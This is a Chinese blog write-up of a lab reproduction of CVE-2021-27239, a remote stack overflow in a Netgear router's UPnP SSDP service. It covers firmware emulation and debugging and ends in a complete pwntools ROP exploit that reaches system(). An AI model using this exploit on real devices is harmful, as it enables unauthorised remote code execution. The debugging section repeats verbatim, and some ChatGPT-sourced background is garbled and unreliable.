CVE-2021-27239 漏洞复现
在此感谢 tolele 师傅的帮助
参考链接
https://toleleyjl.github.io/2023/04/09/CVE-2021-27239%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E8%AE%B0%E5%BD%95/ https://toleleyjl.github.io/2023/02/16/CVE-2021-34991%E5%A4%8D%E7%8E%B0/ https://xuanxuanblingbling.github.io/iot/2021/11/01/netgear/ https://rmrfsad.github.io/2023/04/05/iot/CVE-2021-27239/#%E5%9B%BA%E4%BB%B6%E6%A8%A1%E6%8B%9F https://paper.seebug.org/1311/#qemu
漏洞概述
CVE-2021-27239
该漏洞位于路由器的 UPnP 服务中， 由于解析 SSDP 协议数据包的代码存在缺陷，导致未经授权的远程攻击者可以发送特制的数据包使得栈上的 buffer 溢出，进一步控制 PC 执行任意代码。
路由器固件下载
不过由于刚开始接触 IOT ，先了解下 UPnP 服务和 SSDP 协议，以下信息来自 chatgpt
UPnP 服务：
UPnP（通用即插即用）服务是一种基于UPnP协议，用于实现设备之间互相发现和交谈的服务。UPnP服务通常可以包括多种类型的服务，例如媒体服务器服务、打印机服务、网络存储服务等等。
UPnP服务通常在设备之间使用HTTP协议进行通信，设备可以通过HTTP请求（如HTTP GET、POST等）来查询其他设备的服务，并且根据查询结果来做出相应的操作。因此，UPnP服务也称为互联网设备联盟设备控制协议（UPnP Device Control Protocol）。
在UPnP服务架构中，设备通常包含一个设备描述文档（Device Description Document），它定义了设备的基本信息、属性、状态、可用服务等。设备描述文档基于XML格式编写，由设备厂商提供。
需要注意的是，UPnP服务的开放性和易用性也带来了安全风险。未经适当保护的UPnP服务可能会被黑客利用，从而导致网络受到攻击。为了减轻这种风险，DOWNUPnP Forum和其他组织已经制定了一些UPnP安全模型和UPnP安全指南，旨在帮助设备生产厂商和用户加强对UPnP服务的管控和保护。
SSDP 协议：
SSDP（Simple Service Discovery Protocol），简单服务发现协议，是一种基于UPnP（通用即插即用）协议的服务发现协议。
SSDP的实质是通过UDP协议在局域网中发送广播通告或组播通告，从而实现局域网内的设备自动发现、自组网和服务发现。SSDP通常用于网络设备、智能家居等场景中，它可以让设备自动发现其他设备，并且了解这些设备支持哪些服务和功能。
SSDP协议默认监听UDP 1900端口，并且通过IP多播方式向局域网内的所有设备发送服务发现消息。设备收到这个消息后，会向发送者回复一个包含自身信息的消息。这样，设备就可以通过不断地互相交流，建立起一个网络拓扑结构，并且了解其他设备的服务和功能。当一个设备新加入网络时，它可以向其他设备发送服务发现消息，从而让其他设备找到自己并且建立连接。
需要注意的是，由于SSDP协议使用UDP广播和多播方式，理论上来说这种方式存在一定的安全风险，攻击者可以通过发送恶意消息来干扰网络正常运行。因此，在实际应用中，应该采取相应的措施来加强网络安全，比如限制广播或者多播的范围，使用更安全的传输协议，或者开启相关的安全措施，如身份验证和加密等。
SSDP协议的请求和响应报文都是基于HTTP/1.1协议格式的，具体格式如下：
请求报文:
M-SEARCH * HTTP/1.1 HOST: 239.255.255.250:1900 MAN: "ssdp:discover" ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1 # 查询的设备类型或服务类型 MX: 3
其中，M-SEARCH表示多播搜索请求，*表示搜索全局范围内所有设备。HOST指定了目的地地址和端口，SSDP协议默认使用239.255.255.250:1900进行多播搜索。MAN表示搜索类型，ssdp:discover表示简单服务发现机制。ST表示搜索目标，即设备或服务类型，这里指定了一个特殊的设备类型InternetGatewayDevice。MX表示最大响应等待时间。
响应报文：
HTTP/1.1 200 OK CACHE-CONTROL: max-age=1800 DATE: Fri, 16 Apr 2021 07:54:52 GMT EXT: LOCATION: http://192.168.1.1:80/rootDesc.xml SERVER: Linux/2.4.17 UPnP/1.0 miniupnpd/1.7 ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1 USN: uuid:UPnP-InternetGatewayDevice-1_0-000666777888::urn:schemas-upnp-org:device:InternetGatewayDevice:1/
响应报文中，第一行HTTP状态码200表示请求成功。CACHE-CONTROL指定设备或服务的缓存时间，单位为秒。LOCATION指定了设备或服务的描述文档地址，即rootDesc.xml文件。ST和USN分别表示设备或服务的类型和唯一识别号。EXT指定了设备或服务支持的扩展协议，这里为空。SERVER指定了设备或服务的操作系统和应用程序名称和版本信息。
`
漏洞成因
漏洞位于 /usr/sbin/upnpd，是ssdp（UDP 1900）协议的解析过程中，对MX字段的 strncpy 引发的栈溢出。
binwalk 提取文件，最终将 /usr/sbin/upnpd 丢到 IDA 反汇编，可以知道是一个 32 为 arm 小端序二进制可执行文件
且没有开启 Canary 和 PIE
IDA 中搜寻 MX 字符串，最终找到漏洞
其中的 v5 - (v4 + 3) 表示 MX字段数据的长度，说明并没有限制数据字节大小，那么就可以直接栈溢出
固件模拟
首先要下载内核镜像文件、文件系统和启动文件
https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2 https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress/
这样才能进行系统级模拟，不够现在貌似下载不了资源了
#! /bin/bash #创建一个虚拟网卡和虚拟机交互 sudo tunctl -t tap0 sudo ifconfig tap0 192.168.6.1/24 # qemu 系统级模拟 qemu-system-arm -M vexpress-a9 \ -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress \ -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \ -append "root=/dev/mmcblk0p2" \ -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
将其写入 start.sh 文件，然后运行
不过会报
这里需要执行
qemu-img resize debian_wheezy_armhf_standard.qcow 32G
这样重新执行就可以正常模拟了（感谢 tolele 师傅的帮助）
经过漫长等待后，输入账号密码 root : root
# 配置虚拟网卡，用于宿主机交互 ifconfig eth0 192.168.6.2/24 # 挂载 mount -t proc /proc ./squashfs-root/proc mount -o bind /dev ./squashfs-root/dev chroot ./squashfs-root/ sh
配置虚拟网卡，这样虚拟机就能和物理机进行网络连接了，然后挂载，切换进程根目录
python3 -m http.server 8888 wget 192.168.6.1:8888/file_name
利用 python3 在物理机开启一个 web 服务在 8888 端口，这样就能在虚拟机利用 wget 下载物理机的文件到虚拟机
如果直接执行 /urs/sbin/upnpd 会报 /dev/nvram: No such file or directory
显示没有NVRAM文件。NVRAM（Non-Volatile Random Access Memory）是一种非易失性随机存取存储器，它能够在断电时保存数据。固件模拟与NVRAM有关系，因为在进行固件模拟时，我们需要模拟整个嵌入式系统的运行环境，包括系统配置信息、参数和状态等。这些信息通常存储在NVRAM中，并在系统启动时被读取。
通过 https://uclibc.org/downloads/binaries/0.9.30/ 下载交叉编译工具，然后在 https://github.com/therealsaumil/custom_nvram 下载模拟源码，最后编译后利用 8888 端口上传到虚拟机中
./armv5l-gcc -Wall -fPIC -shared custom_nvram_r6250.c -o nvram.so
然后执行
LD_PRELOAD="/nvram.so /libdl.so.0" /usr/sbin/upnpd
这时候会发现成功启动了
可以看到成功开启
触发漏洞与远程调试
from pwn import * p = remote("192.168.6.2", 1900, typ='udp') context.log_level = 'debug' pld = b'M-SEARCH * HTTP/1.1 \r\n' pld += b'Man:"ssdp:discover" \r\n' pld += b'MX:' + b'a'*160 + b' \r\n' p.send(pld)
触发栈溢出
在 链接 下载 gdb-server ，在虚拟机开放一个调试端口，这样就能在物理机调试了
虚拟机
LD_PRELOAD="/nvram.so /libdl.so.0" /usr/sbin/upnpd & /bin/sh # 寻找 upnpd 进程号 ps | grep upnpd ./gdbserver-7.7.1-armhf-eabi5-v1-sysv --attach 0.0.0.0:12345 upnpd_pid
宿主机
gdb-multiarch set architecture arm target remote 192.168.6.2:12345
同样用上面简单的 payload 来触发栈溢出调试看看，
LD_PRELOAD="/nvram.so /libdl.so.0" /usr/sbin/upnpd & /bin/sh ps | grep upnpd
找到 /usr/sbin/upnpd 的进程号
./gdbserver-7.7.1-armhf-eabi5-v1-sysv --attach 0.0.0.0:12345 2515
宿主机起用 gdb
设置系统架构，然后监听端口
set architecture arm target remote 192.168.6.2:12345
然后就能愉快地调试了
将断点打到 0x22dc0
当执行完 pop { r4, r5, r6, pc } 后，pc 就被劫持 aaaa 了，之后程序便崩溃了
触发栈溢出
在 链接 下载 gdb-server ，在虚拟机开放一个调试端口，这样就能在物理机调试了
虚拟机
LD_PRELOAD="/nvram.so /libdl.so.0" /usr/sbin/upnpd & /bin/sh # 寻找 upnpd 进程号 ps | grep upnpd ./gdbserver-7.7.1-armhf-eabi5-v1-sysv --attach 0.0.0.0:12345 upnpd_pid
宿主机
gdb-multiarch
set architecture arm
target remote 192.168.6.2:12345
同样用上面简单的 payload 来触发栈溢出调试看看
LD_PRELOAD="/nvram.so /libdl.so.0" /usr/sbin/upnpd & /bin/sh ps | grep upnpd
找到 /usr/sbin/upnpd 的进程号
./gdbserver-7.7.1-armhf-eabi5-v1-sysv --attach 0.0.0.0:12345 2515
宿主机起用 gdb
设置系统架构，然后监听端口
set architecture arm
target remote 192.168.6.2:12345
然后就能愉快地调试了
将断点打到 0x22dc0
当执行完 pop { r4, r5, r6, pc } 后，pc 就被劫持 aaaa 了，之后程序便崩溃了
漏洞利用及 exp 编写
from pwn import * p = remote("192.168.6.2", 1900, typ='udp') context.log_level = 'debug' payload = b'M-SEARCH * HTTP/1.1\r\n' payload += b'Man:"ssdp:discover"\r\n' payload += b'MX:' payload += b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab' payload += b'\r\n\x00' p.send(payload)
首先要利用上面 payload 来找出溢出长度
可以看到溢出长度要足够我们能够控制 pc 需为 140(0x8c)
并且如果我们的 exp 如下的时候
from pwn import * p = remote("192.168.6.2", 1900, typ='udp') context.log_level = 'debug' payload = b'M-SEARCH * HTTP/1.1\r\n' payload += b'Man:"ssdp:discover"\r\n' payload += b'MX:' payload += b'a' * 0x8c payload += b'\x08\x39\x01\r\n\x00' payload += b'stopstop'*0x8 p.send(payload)
可以看到 \r\n\x00 之后的数据被读到到距离 sp 0x770 处的位置
.text:00017DD8 04 00 A0 E1 MOV R0, R4; command .text:00017DDC 20 CC FF EB BL system .text:00013908 02 DB 8D E2 ADD SP, SP, #0x800 .text:0001390C 70 80 BD E8 POP {R4-R6,PC} .text:0000BB44 04 00 A0 E1 MOV R0, R4 ; dest .text:0000BB48 0D 10 A0 E1 MOV R1, SP ; src .text:0000BB4C F2 FE FF EB BL strcpy .text:0000BB50 01 DB 8D E2 ADD SP, SP, #0x400 .text:0000BB54 70 80 BD E8 POP {R4-R6,PC}
我们可以利用上面三处 gadget
先控制 rsp 指向构造的 command 处，控制 R4 为 data 段上地址，再利用 strcpy 来复制 command 到 data 段上，接着再一次控制 pc，到 system 执行。和寻常 arm 架构的 ctf pwn 题差不多
exp
from pwn import * p = remote("192.168.6.2", 1900, typ='udp') context.log_level = 'debug' command = b'ls' payload = b'M-SEARCH * HTTP/1.1\r\n' payload += b'Man:"ssdp:discover"\r\n' payload += b'MX:' payload += b'a' * 0x8c payload += b'\x08\x39\x01\r\n\x00' # add sp, 0x800 payload += b'a' * 0xa5 payload += p32(0x000CD000) # .data payload += b'a' * 8 payload += p32(0x0000BB44) # strcpy payload += command.ljust(0x400, b'\x00') payload += p32(0x000CD000) # .data payload += b'a' * 8 payload += p32(0x00017DD8) #system p.send(payload)
